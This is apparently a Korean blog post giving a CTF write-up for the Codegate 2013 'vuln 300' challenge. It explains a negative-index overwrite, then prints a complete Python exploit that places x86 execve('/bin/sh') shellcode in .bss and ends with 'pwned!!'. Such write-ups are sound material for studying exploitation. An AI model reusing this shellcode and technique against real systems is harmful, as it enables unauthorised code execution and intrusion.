2014년 1월 28일 화요일

Codegate2013 vuln 300

vuln300 download
환경 : ubuntu 13.10 / aslr,nx on


ida로 분석을 해보았다.
&dest+4+입력값이 복사되는위치인것 같은데, 만약 입력값을 -4로 한다면 &dest+4-4가 되어 &dest의 시작주소에 복사가 될것이다.

또한 저 vuln_function을 호출시 &dest의 주소는 이후 이중포인터로 호출되는데, 그렇다면 쉘코드를 .bss의주소인 0x080491e0에 넣어준다면 될것이다.


#!/usr/bin/python

from struct import *

p=lambda x:pack("<I",x)

s_addr=0x080491e0
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
payload=""

payload += "-4\n"
payload += p(s_addr+4)
payload += p(s_addr+8)
payload += shellcode

print payload



pwned!!

댓글 없음:

댓글 쓰기